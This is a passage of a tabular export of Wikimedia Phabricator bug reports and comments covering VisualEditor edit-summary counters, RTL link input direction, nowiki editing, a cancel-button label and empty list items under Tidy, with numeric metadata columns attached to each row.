+You're right; this is a bug in the feedback tool, which is part of MediaWiki core. Moving the bug there.",,,1366986213,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xjswbfq6vvdy4oyl6qub,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+49718,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,"Try typing non-ASCII characters in the VisualEditor edit summary field. For example, just type the Russian letter ж continuously. Towards the end it won't stop at 0, but at -1. Example screenshot from the Hebrew Wikipedia: http://j.mp/ZoQKX6 .
+
+This should be handled in a cleaner way. Either disallow typing anything that would go beyond zero, or allow all text to go beyond zero, as in Twitter or MoodBar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1366970520,1368885077.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-pruvovx7b4nd6obededc,task_description,resolved,True,c1,1,False,False,True,-10,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+231176,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,Merged; will go out with wmf5.,,,1368885077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pruvovx7b4nd6obededc,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231172,VisualEditor: using non-ASCII characters in the VisualEditor edit summary insertion can make the remaining character count negative,"Fixed in https://gerrit.wikimedia.org/r/#/c/64342/
+
+To clarify, we aren't letting people go over the limit, we just aren't updating the counter after keyup. (If you get to -1 then press an arrow key, you'll see you're actually under the limit).",,,1368812163,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pruvovx7b4nd6obededc,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+49717,VisualEditor: Link inspector input text always has LTR direction,"Steps:
+
+1. Write some text in VisualEditor in the Hebrew Wikipedia.
+
+2. Select a word.
+
+3. Press the link button in the toolbar. A small link insertion panel appears.
+
+Observed: The direction of the <input> element for the link is ltr.
+
+Expected: The direction of the <input> element for the link is supposed to be rtl.
+
+Comment: It does make sense to set ltr direction by default for external links (http://www.example.com). For internal links the default direction should be the same as that of that Wikipedia's content language.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1366970040,1367529320.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-bwileoq2fxrn6ez262yc,task_description,resolved,True,c1,1,False,False,True,-10,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+231124,VisualEditor: Link inspector input text always has LTR direction,Merged in Moriel's fix (thanks!).,,,1367529320,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231114,VisualEditor: Link inspector input text always has LTR direction,Related URL: https://gerrit.wikimedia.org/r/61960 (Gerrit Change Ic13b9c3b155ce2979298cac9518c7419b9d45bac),,,1367480866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231104,VisualEditor: Link inspector input text always has LTR direction,Moriel wants to take a stab at this one; assigning.,,,1367377382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+231095,VisualEditor: Link inspector input text always has LTR direction,"(In reply to comment #1)
+> Eurgh. That's a real mess of a user interaction - in an RTL locale, it starts
+> as RTL, but then you type enough of a string that looks a bit like
+> ""http?://www"" it magically switches to LTR?
+
+This is not such a mess as a matter of fact. This works very well in GMail chat, for example. If you start typing Hebrew characters, it switches the input box to RTL and vice versa. It also goes further: if you type a few Hebrew characters, and then a lot of Latin characters, it switches to LTR.
+
+BUT -and this is very important- it is not forced: the user can switch the direction later manually. In most Windows browsers it's done using Ctrl-Shift, in Firefox on Windows and GNU/Linux it's done using Ctrl-Shift-X. I don't know about Mac browsers, but it's probably something similar. (I do know that it's impossible on Chrome in Linux, which is why I almost never use it.)
+
+> What about when your wiki page that
+> you're internally linking to is [[http://www.amazon.com]] - do you show as
+> LTR
+> even though it's actually an internal link? How does this get handled in
+> other
+> software?
+
+Same as above, essentially. One thing that could help here would be a possibility to specify the language of the page and of the title, as in bug 34514. But that's extra icing. For a link insertion dialog it is enough to do automatic detection with a possibility to override manually.",,,1367300169,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,False,,,-9,,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+231087,VisualEditor: Link inspector input text always has LTR direction,"(In reply to comment #0)
+> Comment: It does make sense to set ltr direction by default for external
+> links (http://www.example.com). For internal links the default direction should
+> be the same as that of that Wikipedia's content language.
+
+Eurgh. That's a real mess of a user interaction - in an RTL locale, it starts as RTL, but then you type enough of a string that looks a bit like ""http?://www"" it magically switches to LTR? What about when your wiki page that you're internally linking to is [[http://www.amazon.com]] - do you show as LTR even though it's actually an internal link? How does this get handled in other software?",,,1367286968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bwileoq2fxrn6ez262yc,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+49684,"VisualEditor: VE tab is on the left (not right) of the ""edit source"" tab in RTL languages","
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Medium,50.0,1366932480,1368639099.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-k5ivcykbmehlps6rrqj3,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+228628,"VisualEditor: VE tab is on the left (not right) of the ""edit source"" tab in RTL languages","
+
+*** This bug has been marked as a duplicate of bug 48017 ***",,,1368639099,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-k5ivcykbmehlps6rrqj3,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+49678,VisualEditor: Support editing nowiki blocks,"If users can't edit in nowiki blocks, they will make accidental wikitext-like items and be forever unable to edit them in future.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1366930860,1374262258.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+228363,VisualEditor: Support editing nowiki blocks,*** Bug 51950 has been marked as a duplicate of this bug. ***,,,1374879593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+228355,VisualEditor: Support editing nowiki blocks,Done and merged.,,,1374262258,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+228347,VisualEditor: Support editing nowiki blocks,"Change 74107 merged by jenkins-bot:
+Add a node class for mw:Nowiki
+
+https://gerrit.wikimedia.org/r/74107",,,1374261100,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+228342,VisualEditor: Support editing nowiki blocks,"Change 74107 had a related patch set uploaded by Catrope:
+Add a node class for mw:Nowiki
+
+https://gerrit.wikimedia.org/r/74107",,,1374027032,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+228337,VisualEditor: Support editing nowiki blocks,"Theoretically users should never know something's been <nowiki>'ed - possibly we could just silently drop them and Parsoid re-applies them automatically on save?
+
+(This assumes we can rely on Parsoid to do this with no or very few false negatives - false positives, which we already have a little of, wouldn't be a huge problems for VE users.)",,,1366931455,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,1,True,,,-10,,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+228332,VisualEditor: Support editing nowiki blocks,*** Bug 47677 has been marked as a duplicate of this bug. ***,,,1366930915,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+49676,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"The 'cancel' message is used confusingly.
+
+I only noticed it recently. I know of two places where it is used, though there may be more:
+
+1. As a link near the ""Show changes"" button when editing a page.
+
+2. As a button near the ""Review and save"" button in the VisualEditor.
+
+In both cases it's better to say something like ""Exit without saving"". The ""Cancel"" button is usually used in dialog boxes and not in editors' user interfaces.
+
+The message may be used in other places and in extensions, so it's probably better not to change it. For these actions a new message should be created, or maybe even two messages.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Medium,50.0,1366929720,1368804205.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-h6knxqbqokuwzylojsm7,task_description,declined,True,c1,1,False,False,True,-10,,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+228224,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',Indeed. :-),,,1406470421,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+228219,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Hehe, it was removed eventually :)",,,1406457643,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,3,False,,,55,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+228214,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Deciding to WONTFIX this, per discussion above. Hopefully it will be more understandable anyway, given the forthcoming changes to the save dialog.",,,1368804205,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+228209,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"I read your concern, Amir, and my opinion is similar to that of James. In computer interaction, clicking a button that says Cancel will end the current action (in this case editing a page) without actually committing the changes that the actor made. I see no deviation from that paradigm in the two use cases you describe.
+
+I think we shoild close this issue without implementing the suggestion made.",,,1366959308,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+228204,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Worry that this is a bit long for users, and ""cancel"" is used in the dialog sense (they entered an editor, this cancels that edit) but I can see your point.
+
+(BTW, your two descriptions are for the same button, unless I'm missing something?)",,,1366934934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,True,,,-10,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,0,1,0,0,0
+49673,Empty list items goes missing in the PHP parser when tidy is enabled,"Take a look at the URL.
+
+When you see the output page, the list has three items. If you edit it in the source editor, you'll see that there's an extra empty item in the end of the list. If you edit it in the VisualEditor, you'll see it rendered.
+
+The VisualEditor behavior actually makes more sense to me. Gabriel Wicke suggested on IRC to open this issue at the PHP parser.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/VisualEditor:Empty_list_item",Medium,50.0,1366928220,1494287494.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-cv5eyk43xupkutrvi7fo,task_description,resolved,True,c1,1,False,False,False,-10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0
+856266,Empty list items goes missing in the PHP parser when tidy is enabled,"The goal of fixing templates to not emit empty list items in the first place ( T49673#1827449 ) is not in sight. For now, the core part of this ticket has been addressed. Empty elements no longer go missing with Tidy which means we can replace Tidy without worry about breaking rendering because of this.
+
+Longer term, we should migrate to a CSS3 fix of li:empty { display:none; } and remove the mw-empty-elt class.",,,1494287494,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,201,,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+568161,Empty list items goes missing in the PHP parser when tidy is enabled,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918, T15223) have been closed as duplicates in favour of the more aggressive proposal T3115.",,,1448405507,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+567644,Empty list items goes missing in the PHP parser when tidy is enabled,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918) have been closed as duplicates in favour of the more aggressive proposal T3115.",,,1448346652,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+567638,Empty list items goes missing in the PHP parser when tidy is enabled,">>! In T49673#1776557, @Jonesey95 wrote:
+> I don't have the gerrit skills to parse the code to understand whether this change will allow a page to emit a tracking category specific to monitor articles and templates that need to be updated. If it will, some instruction would be helpful. If it currently will not, please make whatever code modification is necessary to allow a page to emit such a tracking category. Thank you. 
+
+There's no tracking category at the moment. I wanted to assess it myself, to determine the size of the problem, before creating task lists for others to work through.
+
+[[https://www.mediawiki.org/wiki/User:Tim_Starling/Empty-li-log|Here is a log sample]] from parsoid listing some supposedly empty <li> elements. I have analysed some of them.
+
+[[https://en.wikipedia.org/w/index.php?title=Template:Europe_topic&oldid=675002623&action=edit |Here is a notable example]] of a template which depends on empty li removal. This navbox template allows the removal of countries from Europe depending on parameters. For example if you consider Germany to not be part of Europe, you can use {{Europe topic|DE=}} to make a navbox which omits the relevant list item. Note that you can't just take the asterisk inside the #if, because that would create paragraph breaks between adjacent list items. It could be done by taking the line break inside the #if, or by removing all the line breaks and using HTML-style <li> input.
+
+",,,1448343599,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1
+563930,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 253514 merged by jenkins-bot:
+Add 'mobile' target to 'mediawiki.raggett' module
+
+[[https://gerrit.wikimedia.org/r/253514]]",,,1447723607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+563898,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 253514 had a related patch set uploaded (by Legoktm):
+Add 'mobile' target to 'mediawiki.raggett' module
+
+[[https://gerrit.wikimedia.org/r/253514]]
+",,,1447721409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+563405,Empty list items goes missing in the PHP parser when tidy is enabled,"The CSS trick for do not display element with //mw-empty-li// class works only for Desktop, not in mobile version.
+
+It's possible in this transitory period hide the empty list elements also in mobile site? Thanks
+
+See [[https://it.wikipedia.org/w/index.php?title=Discussioni_progetto:Coordinamento/Template&oldid=76516793#Errore di visualizzazione da mobile | discussion ]] (in italian) and [[https://it.m.wikipedia.org/wiki/Kriszti%C3%A1n_Adorj%C3%A1n|example]].",,,1447669730,,PHID-USER-6ji4nw2pi3dgjy7tgmhp,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+560874,Empty list items goes missing in the PHP parser when tidy is enabled,"This tasks seems to be related to a lot of odd looking [[Template:Authority control]] templates that use //hlists// which suddenly started showing rows of dots between entries
+
+# Commons issues and the fix was discussed at https://www.mediawiki.org/wiki/Talk:Snippets/Horizontal_lists
+# Czech Wiki opted for rewriting the template https://cs.wikipedia.org/wiki/%C5%A0ablona:Autoritn%C3%AD_data?diff=13027629&oldid=12931367
+# Other wikis were spared because they already rewrote the template in Lua
+",,,1447161101,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,123,,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+556979,Empty list items goes missing in the PHP parser when tidy is enabled,"I don't have the gerrit skills to parse the code to understand whether this change will allow a page to emit a tracking category specific to monitor articles and templates that need to be updated. If it will, some instruction would be helpful. If it currently will not, please make whatever code modification is necessary to allow a page to emit such a tracking category. Thank you. ",,,1446519651,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,122,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+554332,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 246148 merged by jenkins-bot:
+Client-side migration for empty li preservation
+
